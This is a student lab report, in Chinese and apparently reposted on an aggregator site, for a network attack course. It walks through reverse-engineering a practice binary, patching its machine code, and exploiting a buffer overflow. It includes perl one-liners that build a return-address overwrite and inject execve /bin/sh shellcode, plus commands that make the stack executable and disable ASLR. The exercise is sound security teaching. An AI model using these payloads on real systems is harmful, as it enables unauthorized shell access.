20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解
阿新 • • 發佈:2018-03-19
ace exe 進入 pro cnblogs 通過 構造 網絡 more
20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解
實驗內容
- 直接修改程序機器指令,改變程序執行流程;
- 通過構造輸入參數,造成BOF攻擊,改變程序執行流;
- 註入Shellcode並執行。
實驗步驟
一:
下載目標文件pwn1,反匯編
利用objdump -d pwn1
對pwn1進行反匯編;
- 用
vi pwn1
打開pwn1; 利用
%!xxd
將文件轉換成16進制顯示,利用/e8 d7ff ffff
進行搜索將d7改為c3(計算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff),利用%!xxd -r
轉回之前,再次進行反匯編;
二:
編輯輸入為
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
,可用
xxd input
查看input,隨後運行pwn1;
三:
- 輸入下面的指令
execstack -s pwn1 //設置堆棧可執行 execstack -q pwn1 //查詢文件的堆棧是否可執行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 more /proc/sys/kernel/randomize_va_space
- 構造輸入
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
- 輸入
(cat input_shellcode;cat) | ./pwn1
,運行pwn1,然後打開頂一個終端,輸入ps -ef | grep pwn1
找到pwn1的進程號 - 輸入
gdb
,進入gdb調試,輸入進程號 - 然後輸入
info r
,查看棧的地址 - 使用
x/16x 0xffffd33c
- 由我們構造的input_shellcode可知,shellcode就在其後,修改為這個地址;
- 輸入
重新構造inputperl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"‘ > input_shellcode
20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解